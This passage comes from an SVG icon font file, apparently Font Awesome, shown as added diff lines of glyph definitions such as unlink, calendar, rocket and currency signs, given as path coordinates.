+v-144c23.9004 11.5 53.0996 14.2998 81.2998 16.8994c35.9004 3.30078 69.7998 6.5 85.2002 25.7002c6.7998 8.40039 10.4004 20.7998 11 36.9004c-33.2002 9.7002 -57.5 40.3994 -57.5 76.7998c0 44.2002 35.7998 80 80 80s80 -35.7998 80 -80zM80 384 +c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16s16 7.2002 16 16s-7.2002 16 -16 16zM80 0c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM304 320c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16s16 7.2002 16 16 +s-7.2002 16 -16 16z" /> + <glyph glyph-name="unlink" unicode="" +d="M304.083 42.0928c4.68555 -4.68555 4.68555 -12.2842 0 -16.9707l-44.6738 -44.6738c-59.2627 -59.2627 -155.693 -59.2666 -214.961 0c-59.2646 59.2646 -59.2646 155.695 0 214.96l44.6748 44.6748c4.68555 4.68555 12.2842 4.68555 16.9707 0l39.5986 -39.5977 +c4.68555 -4.68652 4.68555 -12.2842 0 -16.9717l-44.6758 -44.6738c-28.0713 -28.0732 -28.0713 -73.75 0 -101.823c28.0723 -28.0713 73.75 -28.0723 101.824 0l44.6738 44.6748c4.68652 4.68555 12.2842 4.68555 16.9717 0zM247.515 302.309l-39.5967 39.5986 +c-4.68555 4.68652 -4.68555 12.2852 0 16.9707l44.6738 44.6738c59.2666 59.2646 155.695 59.2646 214.961 0s59.2656 -155.694 0 -214.96l-44.6748 -44.6748c-4.68652 -4.68555 -12.2852 -4.68555 -16.9707 0l-39.5986 39.5977c-4.68555 4.6875 -4.68555 12.2852 0 16.9717 +l44.6758 44.6738c28.0713 28.0732 28.0713 73.75 0 101.823c-28.0742 28.0723 -73.752 28.0742 -101.824 0l-44.6738 -44.6748c-4.6875 -4.68555 -12.2852 -4.68555 -16.9717 0zM482.343 -56.9707c-9.37207 -9.37207 -24.5674 -9.37207 -33.9404 0l-441.373 441.373 +c-9.37305 9.37207 -9.37305 24.5674 0 33.9404l22.6279 22.6279c9.37207 9.37305 24.5674 9.37305 33.9404 0l441.372 -441.374c9.37305 -9.37207 9.37305 -24.5674 0 -33.9404z" /> + <glyph glyph-name="question" unicode="" horiz-adv-x="384" +d="M202.021 448c84.8809 0 175.482 -66.2559 175.481 -153.6c0 -115.982 -125.268 -117.768 -125.268 -160.627v-5.77344c0 -13.2549 -10.7451 -24 -24 -24h-72.4717c-13.2549 0 -24 10.7451 -24 24v9.78809c0 61.8291 46.876 86.5449 82.2998 106.405 +c30.376 17.0293 48.9922 28.6113 48.9922 51.1641c0 29.832 -38.0518 49.6309 -68.8154 49.6309c-39.127 0 -57.708 -18.0684 -82.7568 -49.4492c-8.12109 -10.1738 -22.8809 -12.0127 -33.2529 -4.14844l-43.1387 32.709c-10.2705 7.78809 -12.541 22.2939 -5.17773 32.874 +c40.5889 58.3232 92.2881 91.0264 172.107 91.0264zM192 74.541c38.1963 0 69.2715 -31.0742 69.2715 -69.2695c0 -38.1963 -31.0752 -69.2715 -69.2715 -69.2715s-69.2715 31.0752 -69.2715 69.2695c0 38.1963 31.0752 69.2715 69.2715 69.2715z" /> + <glyph glyph-name="info" unicode="" horiz-adv-x="192" +d="M20 23.7715h20v144.457h-20c-11.0459 0 -20 8.9541 -20 20v47.7715c0 11.0459 8.9541 20 20 20h112c11.0459 0 20 -8.9541 20 -20v-212.229h20c11.0459 0 20 -8.9541 20 -20v-47.7715c0 -11.0459 -8.9541 -20 -20 -20h-152c-11.0459 0 -20 8.9541 -20 20v47.7715 +c0 11.0459 8.9541 20 20 20zM96 448c39.7637 0 72 -32.2354 72 -72s-32.2354 -72 -72 -72s-72 32.2354 -72 72s32.2354 72 72 72z" /> + <glyph glyph-name="exclamation" unicode="" horiz-adv-x="192" +d="M176 16c0 -44.1123 -35.8877 -80 -80 -80s-80 35.8877 -80 80s35.8877 80 80 80s80 -35.8877 80 -80zM25.2598 422.801c-0.68457 13.709 10.2441 25.1992 23.9707 25.1992h93.5391c13.7266 0 24.6553 -11.4902 23.9707 -25.1992l-13.6006 -272 +c-0.638672 -12.7725 -11.1807 -22.8008 -23.9697 -22.8008h-66.3398c-12.7891 0 -23.3311 10.0283 -23.9697 22.8008z" /> + <glyph glyph-name="superscript" unicode="" +d="M496 288c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-96c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h16v96h-16c-8.82422 0.0078125 -15.9775 7.18945 -15.9775 16.0156c0 2.57129 0.608398 5.00098 1.6875 7.1543l16 32 +c2.62598 5.23926 8.03613 8.8252 14.29 8.83008h48c8.83105 0 16 -7.16895 16 -16v-144h16zM336 384c8.83105 0 16 -7.16895 16 -16v-48c0 -8.83105 -7.16895 -16 -16 -16h-33.4805l-77.8096 -112l77.8096 -112h33.4805c8.83105 0 16 -7.16895 16 -16v-48 +c0 -8.83105 -7.16895 -16 -16 -16h-67c-5.41113 0.0273438 -10.1836 2.73047 -13.0596 6.87012l-79.9004 115l-79.9004 -115c-2.89062 -4.16016 -7.69531 -6.87012 -13.1396 -6.87012h-67c-8.83105 0 -16 7.16895 -16 16v48c0 8.83105 7.16895 16 16 16h33.4805l77.8096 112 +l-77.8096 112h-33.4805c-8.83105 0 -16 7.16895 -16 16v48c0 8.83105 7.16895 16 16 16h67c5.41113 -0.0273438 10.1836 -2.73047 13.0596 -6.87012l79.9004 -115l79.9004 115c2.89062 4.16016 7.69531 6.87012 13.1396 6.87012h67z" /> + <glyph glyph-name="subscript" unicode="" +d="M496 0c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-96c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h16v96h-16c-8.82422 0.0078125 -15.9775 7.18945 -15.9775 16.0156c0 2.57129 0.608398 5.00098 1.6875 7.1543l16 32 +c2.62598 5.23926 8.03613 8.8252 14.29 8.83008h48c8.83105 0 16 -7.16895 16 -16v-144h16zM336 384c8.83105 0 16 -7.16895 16 -16v-48c0 -8.83105 -7.16895 -16 -16 -16h-33.4805l-77.8096 -112l77.8096 -112h33.4805c8.83105 0 16 -7.16895 16 -16v-48 +c0 -8.83105 -7.16895 -16 -16 -16h-67c-5.41113 0.0273438 -10.1836 2.73047 -13.0596 6.87012l-79.9004 115l-79.9004 -115c-2.89062 -4.16016 -7.69531 -6.87012 -13.1396 -6.87012h-67c-8.83105 0 -16 7.16895 -16 16v48c0 8.83105 7.16895 16 16 16h33.4805l77.8096 112 +l-77.8096 112h-33.4805c-8.83105 0 -16 7.16895 -16 16v48c0 8.83105 7.16895 16 16 16h67c5.41113 -0.0273438 10.1836 -2.73047 13.0596 -6.87012l79.9004 -115l79.9004 115c2.89062 4.16016 7.69531 6.87012 13.1396 6.87012h67z" /> + <glyph glyph-name="eraser" unicode="" +d="M497.941 174.059l-142.059 -142.059h144.117c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-356c-13.2461 0 -25.2529 5.37012 -33.9424 14.0586l-96 96c-18.7441 18.7451 -18.7441 49.1377 0 67.8828l256 256 +c18.7471 18.7451 49.1387 18.7441 67.8838 0l160 -160c18.7441 -18.7451 18.7441 -49.1377 0 -67.8828zM195.314 236.686l-124.687 -124.686l80 -80h114.745l67.3135 67.3135z" /> + <glyph glyph-name="puzzle-piece" unicode="" horiz-adv-x="576" +d="M519.442 159.349c37.5957 0 56.5576 -31.5928 56.5576 -65.792c0 -33.5469 -19.2881 -61.5566 -54.9229 -61.5557c-39.8848 0 -50.3457 36.1523 -86.3086 36.1523c-60.5518 0 -25.8262 -120.102 -25.8262 -120.102c-51.5557 0 -181.23 -35.0732 -181.23 25.7305 +c0 35.8271 36.2881 46.25 36.2881 85.9844c0 35.501 -28.1152 54.7178 -61.7881 54.7178c-34.3271 0 -63.5771 -18.8906 -63.5771 -56.3467c0 -41.3633 40 -58.998 40 -81.4707c0 -69.709 -178.635 -28.6621 -178.635 -28.6621v333.237s175.885 -40.9609 175.884 28.6621 +c0 22.4727 -31.7109 40.3857 -31.7109 81.75c0 37.4551 31.7119 56.3457 66.3662 56.3457c33.3457 0 61.4609 -19.2158 61.4609 -54.7178c0 -39.7354 -36.2881 -50.1582 -36.2881 -85.9854c0 -83.2969 196.288 -3.29688 196.288 -3.29688 +s-54.5908 -176.244 5.38379 -176.244c22.5586 0 40.5391 31.5928 82.0586 31.5928z" /> + <glyph glyph-name="microphone" unicode="" horiz-adv-x="352" +d="M176 96c-53.0195 0 -96 42.9805 -96 96v160c0 53.0195 42.9805 96 96 96s96 -42.9805 96 -96v-160c0 -53.0195 -42.9805 -96 -96 -96zM336 256c8.83984 0 16 -7.16016 16 -16v-48c0 -88.9004 -66.29 -162.47 -152 -174.23v-33.7695h56c8.83984 0 16 -7.16016 16 -16v-16 +c0 -8.83984 -7.16016 -16 -16 -16h-160c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h56v34.1504c-88.0303 12.1396 -152 92.0498 -152 181.689v40.1602c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-42.2998 +c0 -66.8105 48.71 -126.59 115.21 -133.08c76.2998 -7.44043 140.79 52.5801 140.79 127.38v48c0 8.83984 7.16016 16 16 16h16z" /> + <glyph glyph-name="microphone-slash" unicode="" horiz-adv-x="640" +d="M633.82 -10.0996c6.97949 -5.43066 8.22949 -15.4805 2.81934 -22.4502l-19.6396 -25.2705c-5.42969 -6.97949 -15.4805 -8.23926 -22.46 -2.80957l-588.36 454.729c-6.97949 5.43066 -8.22949 15.4805 -2.80957 22.4502l19.6396 25.2705 +c5.41992 6.97949 15.4805 8.22949 22.46 2.80957l178.54 -137.99v45.3604c0 53.0195 42.9805 96 96 96c53.0205 0 96 -42.9805 96 -96v-160.01c0 -10.4502 -2.17969 -20.2705 -5.2793 -29.6699l26.5498 -20.5205c6.75977 15.4004 10.7197 32.2803 10.7197 50.2002v48 +c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-48c0 -29.0098 -7.38965 -56.1299 -19.9805 -80.1396zM400 -16c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-160c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h56 +v34.1504c-88.0303 12.1396 -152 92.0498 -152 181.689v6.85059l52.0303 -40.2305c12.4395 -53.2197 55.3301 -96.4004 111.18 -101.85c6.94043 -0.669922 13.6396 -0.200195 20.3496 0.199219l50.1104 -38.7295c-10.8203 -3.77051 -22.0098 -6.70996 -33.6699 -8.31055 +v-33.7695h56z" /> + <glyph glyph-name="calendar" unicode="" horiz-adv-x="448" +d="M12 256h424c6.59961 0 12 -5.40039 12 -12v-260c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v260c0 6.59961 5.40039 12 12 12zM448 300c0 -6.59961 -5.40039 -12 -12 -12h-424c-6.59961 0 -12 5.40039 -12 12v36c0 26.5 21.5 48 48 48h48v52 +c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48v-36z" /> + <glyph glyph-name="fire-extinguisher" unicode="" horiz-adv-x="448" +d="M434.027 421.671c7.31445 1.21875 13.9727 -4.4209 13.9727 -11.8369v-115.668c0 -7.41602 -6.6582 -13.0557 -13.9727 -11.8369l-168 28c-11.7305 1.95508 -10.0273 14.6973 -10.0273 17.6709h-40v-27.0303c41.4043 -10.6582 72 -48.2383 72 -92.9697v-248 +c0 -13.2549 -10.7451 -24 -24 -24h-144c-13.2549 0 -24 10.7451 -24 24v246.795c0 44.8945 30.457 83.2666 72 94.1289v27.0762c-61.0361 0 -92.9424 7.00977 -121.711 -64.9141c-4.91699 -12.2949 -18.8789 -18.2959 -31.1963 -13.3701 +c-12.3066 4.92285 -18.293 18.8906 -13.3701 31.1973c14.668 36.6709 38.0107 77.833 90.0498 90.8838c-14.1406 36.5273 12.793 76.2031 52.2275 76.2031c37.4463 0 64.3525 -36.1084 53.668 -72h58.332c0 4.2002 -1.30664 15.7822 10.0273 17.6709zM144 376 +c8.82227 0 16 7.17773 16 16s-7.17773 16 -16 16s-16 -7.17773 -16 -16s7.17773 -16 16 -16z" /> + <glyph glyph-name="rocket" unicode="" +d="M505.12 428.906c6.95508 -32.2031 6.95508 -57.4062 6.86133 -82.6094c0 -102.688 -55.4375 -164.781 -128.035 -211.094v-104.438c0 -16.3594 -11.8789 -35.5625 -26.5078 -42.8594l-98.7275 -49.3906c-3.27441 -1.48047 -6.91699 -2.375 -10.707 -2.51562 +c-13.2471 0.00195312 -24.002 10.7539 -24.0059 24v103.844l-22.4746 -22.4688c-13.1211 -13.1562 -34.1211 -11.1875 -45.2773 0l-50.9043 50.9062c-12.9961 12.9922 -11.3652 33.8887 0 45.25l22.4746 22.4688h-103.811c-13.2461 0.00195312 -24.001 10.7539 -24.0059 24 +c0.136719 3.79004 1.03223 7.43164 2.51562 10.7031l49.4355 98.8125c7.33008 14.6094 26.5391 26.4688 42.8867 26.4844h104.215c46.2168 72.7969 108.122 128 211.354 128c25.0996 0 50.3086 0 82.5059 -6.90625c5.54883 -1.1875 11.0176 -6.65625 12.207 -12.1875z +M384.04 280c22.0752 0.0078125 39.9971 17.9258 40.0098 40c0 22.0762 -17.9229 40 -40 40c-22.0762 0 -40 -17.9238 -40 -40c0 -22.0732 17.918 -39.9951 39.9902 -40z" /> + <glyph glyph-name="chevron-circle-left" unicode="" +d="M256 -56c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248s-111 -248 -248 -248zM142.1 175l135.5 -135.5c9.40039 -9.40039 24.6006 -9.40039 33.9004 0l17 17c9.40039 9.40039 9.40039 24.5996 0 33.9004l-101.6 101.6l101.6 101.6 +c9.40039 9.40039 9.40039 24.6006 0 33.9004l-17 17c-9.40039 9.40039 -24.5996 9.40039 -33.9004 0l-135.5 -135.5c-9.39941 -9.40039 -9.39941 -24.5996 0 -34z" /> + <glyph glyph-name="chevron-circle-right" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM369.9 209l-135.5 135.5c-9.40039 9.40039 -24.6006 9.40039 -33.9004 0l-17 -17c-9.40039 -9.40039 -9.40039 -24.5996 0 -33.9004l101.6 -101.6l-101.6 -101.6 +c-9.40039 -9.40039 -9.40039 -24.6006 0 -33.9004l17 -17c9.40039 -9.40039 24.5996 -9.40039 33.9004 0l135.5 135.5c9.39941 9.40039 9.39941 24.5996 0 34z" /> + <glyph glyph-name="chevron-circle-up" unicode="" +d="M8 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM239 305.9l-135.5 -135.5c-9.40039 -9.40039 -9.40039 -24.6006 0 -33.9004l17 -17c9.40039 -9.40039 24.5996 -9.40039 33.9004 0l101.6 101.6l101.6 -101.6 +c9.40039 -9.40039 24.6006 -9.40039 33.9004 0l17 17c9.40039 9.40039 9.40039 24.5996 0 33.9004l-135.5 135.5c-9.40039 9.39941 -24.5996 9.39941 -34 0z" /> + <glyph glyph-name="chevron-circle-down" unicode="" +d="M504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM273 78.0996l135.5 135.5c9.40039 9.40039 9.40039 24.6006 0 33.9004l-17 17c-9.40039 9.40039 -24.5996 9.40039 -33.9004 0l-101.6 -101.6l-101.6 101.6 +c-9.40039 9.40039 -24.6006 9.40039 -33.9004 0l-17 -17c-9.40039 -9.40039 -9.40039 -24.5996 0 -33.9004l135.5 -135.5c9.40039 -9.39941 24.5996 -9.39941 34 0z" /> + <glyph glyph-name="anchor" unicode="" horiz-adv-x="576" +d="M12.9707 96c-10.6904 0 -16.0449 12.9258 -8.48535 20.4854l67.0283 67.0283c4.6875 4.68652 12.2852 4.68652 16.9717 0l67.0283 -67.0283c7.56055 -7.55957 2.20605 -20.4854 -8.48438 -20.4854h-35.1465c20.2969 -54.3359 85.1816 -86.6162 144.117 -94.0146v190.015 +h-52c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h52v5.46973c-37.2842 13.1807 -64 48.7324 -64 90.5303c0 53.4746 43.7227 96.7393 97.3701 95.9902c52.2354 -0.728516 94.6348 -43.7627 94.6289 -96.002 +c-0.00488281 -41.793 -26.7188 -77.3398 -64 -90.5186v-5.46973h52c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-52v-190.015c59.1543 7.42676 123.827 39.6973 144.117 94.0146h-35.1465c-10.6904 0 -16.0449 12.9248 -8.48438 20.4854 +l67.0283 67.0283c4.6875 4.68652 12.2852 4.68652 16.9717 0l67.0283 -67.0283c7.56055 -7.55957 2.20605 -20.4854 -8.48438 -20.4854h-32.3945c-21.7822 -102.62 -136.406 -160 -242.635 -160c-106.056 0 -220.828 57.2646 -242.635 160h-32.3945zM288 384 +c-17.6445 0 -32 -14.3555 -32 -32s14.3555 -32 32 -32s32 14.3555 32 32s-14.3555 32 -32 32z" /> + <glyph glyph-name="unlock-alt" unicode="" horiz-adv-x="448" +d="M400 192c26.5 0 48 -21.5 48 -48v-160c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v160c0 26.5 21.5 48 48 48h24v102.5c0 84 67.5 153.2 151.5 153.5s152.5 -68 152.5 -152v-16c0 -13.2998 -10.7002 -24 -24 -24h-32c-13.2998 0 -24 10.7002 -24 24v16 +c0 39.9004 -32.7002 72.4004 -72.7002 72c-39.5996 -0.400391 -71.2998 -33.2998 -71.2998 -72.9004v-103.1h248zM264 40v48c0 22.0996 -17.9004 40 -40 40s-40 -17.9004 -40 -40v-48c0 -22.0996 17.9004 -40 40 -40s40 17.9004 40 40z" /> + <glyph glyph-name="bullseye" unicode="" horiz-adv-x="496" +d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM248 8c101.71 0 184 82.3096 184 184c0 101.71 -82.3096 184 -184 184c-101.71 0 -184 -82.3096 -184 -184c0 -101.71 82.3096 -184 184 -184zM248 320 +c70.6904 0 128 -57.3096 128 -128s-57.3096 -128 -128 -128s-128 57.3096 -128 128s57.3096 128 128 128zM248 128c35.29 0 64 28.71 64 64s-28.71 64 -64 64s-64 -28.71 -64 -64s28.71 -64 64 -64z" /> + <glyph glyph-name="ellipsis-h" unicode="" +d="M328 192c0 -39.7998 -32.2002 -72 -72 -72s-72 32.2002 -72 72s32.2002 72 72 72s72 -32.2002 72 -72zM432 264c39.7998 0 72 -32.2002 72 -72s-32.2002 -72 -72 -72s-72 32.2002 -72 72s32.2002 72 72 72zM80 264c39.7998 0 72 -32.2002 72 -72s-32.2002 -72 -72 -72 +s-72 32.2002 -72 72s32.2002 72 72 72z" /> + <glyph glyph-name="ellipsis-v" unicode="" horiz-adv-x="192" +d="M96 264c39.7998 0 72 -32.2002 72 -72s-32.2002 -72 -72 -72s-72 32.2002 -72 72s32.2002 72 72 72zM24 368c0 39.7998 32.2002 72 72 72s72 -32.2002 72 -72s-32.2002 -72 -72 -72s-72 32.2002 -72 72zM24 16c0 39.7998 32.2002 72 72 72s72 -32.2002 72 -72 +s-32.2002 -72 -72 -72s-72 32.2002 -72 72z" /> + <glyph glyph-name="rss-square" unicode="" horiz-adv-x="448" +d="M400 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352zM112 32c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM269.533 32 +c6.53516 0 11.7764 5.46777 11.4248 11.9941c-5.9668 110.428 -94.418 198.99 -204.964 204.964c-6.52637 0.351562 -11.9941 -4.88965 -11.9941 -11.4248v-34.335c0 -6.00977 4.63574 -11.0508 10.6328 -11.4414c79.8799 -5.20312 143.909 -69.0732 149.123 -149.123 +c0.391602 -5.99805 5.43066 -10.6338 11.4424 -10.6338h34.335zM372.56 32c6.4541 0 11.6641 5.33789 11.4326 11.7871c-5.99512 167.014 -140.375 302.18 -308.205 308.205c-6.44922 0.231445 -11.7871 -4.97852 -11.7871 -11.4326v-34.334 +c0 -6.16016 4.88184 -11.1748 11.0391 -11.4277c136.556 -5.59863 246.162 -115.225 251.76 -251.76c0.251953 -6.15625 5.2666 -11.0381 11.4268 -11.0381h34.334z" /> + <glyph glyph-name="play-circle" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM371.7 168c16.3994 9.09961 16.3994 32.7998 0 42l-176 107c-15.9004 8.7998 -35.7002 -2.59961 -35.7002 -21v-208c0 -18.5 19.9004 -29.7998 35.7002 -21z" /> + <glyph glyph-name="minus-square" unicode="" horiz-adv-x="448" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM92 152h264c6.59961 0 12 5.40039 12 12v56c0 6.59961 -5.40039 12 -12 12h-264c-6.59961 0 -12 -5.40039 -12 -12v-56 +c0 -6.59961 5.40039 -12 12 -12z" /> + <glyph glyph-name="check-square" unicode="" horiz-adv-x="448" +d="M400 -32h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48zM195.314 66.0586l184 184c6.24707 6.24805 6.24707 16.3799 0 22.627l-22.6279 22.6279 +c-6.24707 6.24707 -16.3789 6.24805 -22.6279 0l-150.059 -150.059l-70.0586 70.0596c-6.24805 6.24707 -16.3799 6.24707 -22.6279 0l-22.6279 -22.6279c-6.24707 -6.24707 -6.24707 -16.3789 0 -22.627l104 -104c6.24902 -6.25 16.3799 -6.25 22.6289 -0.000976562z" /> + <glyph glyph-name="pen-square" unicode="" horiz-adv-x="448" +d="M400 -32h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48zM238.1 270.1l-135.699 -135.699l-6.30078 -57.1006c-0.799805 -7.59961 5.60059 -14.0996 13.3008 -13.2998l57.0996 6.2998l135.7 135.7 +c2.2998 2.2998 2.2998 6.09961 0 8.5l-55.5 55.5c-2.5 2.40039 -6.2998 2.40039 -8.60059 0.0996094zM345 282.9l-30.0996 30.0996c-9.40039 9.40039 -24.6006 9.40039 -33.9004 0l-23.0996 -23.0996c-2.30078 -2.30078 -2.30078 -6.10059 0 -8.5l55.5 -55.5 +c2.2998 -2.30078 6.09961 -2.30078 8.5 0l23.0996 23.0996c9.2998 9.2998 9.2998 24.5 0 33.9004z" /> + <glyph glyph-name="share-square" unicode="" horiz-adv-x="576" +d="M568.482 270.552l-144.004 -135.984c-15.1787 -14.335 -40.4785 -3.70703 -40.4785 17.4473v71.9629c-144.575 -0.969727 -205.566 -35.1123 -164.775 -171.353c4.4834 -14.9727 -12.8457 -26.5674 -25.0059 -17.3301 +c-38.9668 29.5996 -74.2188 86.2168 -74.2188 143.366c0 143.937 117.599 172.5 264 173.312v72.0156c0 21.1738 25.3174 31.7676 40.4785 17.4473l144.004 -135.987c10.0195 -9.46289 10.0273 -25.4248 0 -34.8965zM384 68.8721c0 7.34473 6.53027 12.9053 13.7998 11.8594 +c3.36816 -0.485352 6.75977 -0.711914 10.2607 -0.711914c8.3877 0 16.4424 1.44043 23.9287 4.08887c7.81348 2.76367 16.0107 -3.01465 16.0107 -11.3027v-88.8057c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48 +h121.033c12.5508 0 16.6748 -16.8301 5.54492 -22.6309c-18.7773 -9.78613 -36.0615 -22.1084 -51.0137 -37.6758c-2.18164 -2.27637 -5.25098 -3.69141 -8.64844 -3.69336h-50.916v-320h320v68.8721z" /> + <glyph glyph-name="compass" unicode="" horiz-adv-x="496" +d="M225.38 214.63c12.4902 12.4902 32.75 12.4902 45.25 0s12.5 -32.75 0 -45.25c-12.4902 -12.5 -32.7598 -12.5 -45.25 0c-12.5 12.4902 -12.5 32.75 0 45.25zM248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248z +M374.14 291.95c7.61035 16.6494 -9.54004 33.7998 -26.1895 26.2002l-144.34 -65.9707c-6.98438 -3.19238 -12.5781 -8.78516 -15.7705 -15.7695l-65.9795 -144.351c-7.61035 -16.6494 9.5498 -33.8096 26.1992 -26.1992l144.341 65.9697 +c6.9834 3.19238 12.5771 8.78613 15.7695 15.7695z" /> + <glyph glyph-name="caret-square-down" unicode="" horiz-adv-x="448" +d="M448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM92.5 227.5l123 -123c4.7002 -4.7002 12.2998 -4.7002 17 0l123 123c7.59961 7.59961 2.2002 20.5 -8.5 20.5h-246 +c-10.7002 0 -16.0996 -12.9004 -8.5 -20.5z" /> + <glyph glyph-name="caret-square-up" unicode="" horiz-adv-x="448" +d="M0 16v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48zM355.515 156.485l-123.029 123.029c-4.68652 4.68652 -12.2842 4.68652 -16.9717 0l-123.028 -123.029 +c-7.56055 -7.56055 -2.20605 -20.4854 8.48438 -20.4854h246.06c10.6904 0 16.0449 12.9258 8.48535 20.4854z" /> + <glyph glyph-name="caret-square-right" unicode="" horiz-adv-x="448" +d="M48 416h352c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48zM188.485 60.4854l123.028 123.028c4.68652 4.68652 4.68652 12.2842 0 16.9717l-123.028 123.029 +c-7.56055 7.56055 -20.4854 2.20605 -20.4854 -8.48438v-246.06c0 -10.6904 12.9258 -16.0449 20.4854 -8.48535z" /> + <glyph glyph-name="euro-sign" unicode="" horiz-adv-x="320" +d="M310.706 34.2354l8.81836 -44.4902c1.23828 -6.24902 -2.62109 -12.3623 -8.78809 -13.957c-12.5391 -3.24414 -34.8008 -7.78809 -61.1016 -7.78809c-104.371 0 -182.496 65.3076 -207.521 155.64h-30.1143c-6.62695 0 -12 5.37305 -12 12v28.3604 +c0 6.62695 5.37305 12 12 12h21.3877c-1 12.958 -0.828125 28.6377 0.181641 42.2451h-21.5693c-6.62695 0 -12 5.37305 -12 12v29.7549c0 6.62695 5.37305 12 12 12h33.0752c28.9551 83.748 107.376 144 204.56 144c21.0752 0 40.582 -2.91211 52.6865 -5.20703 +c6.86035 -1.30078 11.1475 -8.17578 9.32617 -14.917l-11.9912 -44.3682c-1.65527 -6.125 -7.78613 -9.89062 -14.002 -8.62305c-9.28711 1.89551 -23.3652 4.14551 -37.8516 4.14551c-54.9287 0 -96.9854 -30.0391 -117.619 -75.0303h138.278 +c7.66211 0 13.3613 -7.08203 11.7227 -14.5664l-6.51172 -29.7549c-1.17969 -5.3877 -5.9834 -9.43359 -11.7227 -9.43359h-146.593c-1.55176 -13.958 -1.34766 -27.917 -0.137695 -42.2451h134.237c7.68945 0 13.3936 -7.12891 11.708 -14.6309l-6.37305 -28.3604 +c-1.20312 -5.35547 -5.99121 -9.36914 -11.708 -9.36914h-113.689c19.5322 -50.6582 64.6982 -85.4482 121.462 -85.4482c18.0039 0 34.7334 2.97363 45.4258 5.41211c6.58887 1.50391 13.1094 -2.73828 14.4238 -9.36816z" /> + <glyph glyph-name="pound-sign" unicode="" horiz-adv-x="320" +d="M308 96c6.62695 0 12 -5.37305 12 -12v-104c0 -6.62695 -5.37305 -12 -12 -12h-296c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h36v128h-28c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h28v66.0391 +c0 73.2188 58.0264 125.961 139.931 125.961c48.6455 0 85.1934 -22.5596 101.575 -34.9277c5.39844 -4.07617 6.35254 -11.8057 2.11914 -17.0811l-28.4932 -35.5137c-3.7998 -4.73535 -10.5371 -5.89746 -15.6875 -2.68457 +c-11.7744 7.34375 -33.9941 18.8486 -57.6523 18.8486c-37.2305 0 -61.792 -24.8193 -61.792 -57.0859v-63.5557h84c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-84v-126.848h122.505v50.8477c0 6.62695 5.37305 12 12 12h45.4951z" /> + <glyph glyph-name="dollar-sign" unicode="" horiz-adv-x="288" +d="M209.2 214.6c57.8994 -16.8994 94 -80.0996 72.5 -141.699c-15.4004 -44.1006 -59.1006 -71.8008 -105.7 -72.7002v-48.2002c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v48c-31.4004 0.0996094 -62 10.7998 -86.5 30 +c-7.90039 6.09961 -8.90039 17.5996 -1.7998 24.5l34.7998 34c5.2002 5.09961 13.4004 6.09961 19.5 2c10 -6.7998 22 -10.5 34.2002 